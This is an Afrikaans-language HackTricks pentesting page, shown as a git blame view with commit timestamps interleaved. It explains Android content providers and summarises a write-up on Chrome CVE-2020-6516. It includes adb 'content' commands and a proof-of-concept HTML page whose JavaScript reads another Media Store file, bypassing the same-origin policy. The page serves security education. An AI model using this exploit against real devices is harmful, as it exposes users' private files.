hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

111 lines
6.1 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
{% embed url="https://websec.nl/" %}
2021-05-04 11:44:49 +00:00
**Dit is 'n opsomming van die pos [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Lyste van Lêers in Media Store
Om lêers wat deur die Media Store bestuur word, te lys, kan die onderstaande opdrag gebruik word:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
Vir 'n meer mensvriendelike uitvoer, wat slegs die identifiseerder en pad van elke geïndekseerde lêer vertoon:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Content providers is geïsoleer in hul eie private naamruimte. Toegang tot 'n verskaffer vereis die spesifieke `content://` URI. Inligting oor die paaie om toegang tot 'n verskaffer te verkry, kan verkry word uit toepassings-manifeste of die Android-raamwerk se bronkode.
### Chrome se Toegang tot Inhoud Verskaffers
Chrome op Android kan toegang verkry tot inhoud verskaffers deur die `content://` skema, wat dit in staat stel om hulpbronne soos foto's of dokumente wat deur derdeparty-toepassings uitgevoer is, te benader. Om dit te illustreer, kan 'n lêer in die Media Store ingevoeg word en dan via Chrome toegang verkry word:
2021-05-04 11:44:49 +00:00
Voeg 'n pasgemaakte inskrywing in die Media Store in:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
2024-02-11 02:07:06 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
2024-02-11 02:07:06 +00:00
Ontdek die identifiseerder van die nuut ingevoegde lêer:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file \
2024-02-11 02:07:06 +00:00
--projection _id,_data | grep test.txt
2024-02-05 02:29:11 +00:00
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
2021-05-04 11:44:49 +00:00
```
Die lêer kan dan in Chrome gesien word met 'n URL wat saamgestel is met die lêer se identifiseerder.
2021-05-04 11:44:49 +00:00
Byvoorbeeld, om lêers wat verband hou met 'n spesifieke toepassing te lys:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
2021-05-04 11:44:49 +00:00
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
2021-05-04 11:44:49 +00:00
Die _Same Origin Policy_ (SOP) is 'n sekuriteitsprotokol in blaaiers wat webbladsye beperk om met hulpbronne van verskillende oorspronge te kommunikeer, tensy dit eksplisiet toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid het ten doel om inligtingslekke en cross-site request forgery te voorkom. Chrome beskou `content://` as 'n plaaslike skema, wat strenger SOP-reëls impliseer, waar elke plaaslike skema-URL as 'n aparte oorsprong behandel word.
2021-05-04 11:44:49 +00:00
Egter, CVE-2020-6516 was 'n kwesbaarheid in Chrome wat 'n omseiling van SOP-reëls vir hulpbronne wat via 'n `content://` URL gelaai is, toegelaat het. In werklikheid kon JavaScript-kode van 'n `content://` URL toegang verkry tot ander hulpbronne wat via `content://` URLs gelaai is, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes voor Android 10 gebruik, waar geskaalde stoor nie geïmplementeer was nie.
2021-05-04 11:44:49 +00:00
Die bewys-van-konsep hieronder demonstreer hierdie kwesbaarheid, waar 'n HTML-dokument, nadat dit onder **/sdcard** opgelaai is en by die Media Store gevoeg is, `XMLHttpRequest` in sy JavaScript gebruik om toegang te verkry tot en die inhoud van 'n ander lêer in die Media Store te vertoon, terwyl die SOP-reëls omseil word.
2021-05-04 11:44:49 +00:00
Proof-of-Concept HTML:
2024-02-05 02:29:11 +00:00
```xml
2021-05-04 11:44:49 +00:00
<html>
<head>
2024-02-11 02:07:06 +00:00
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}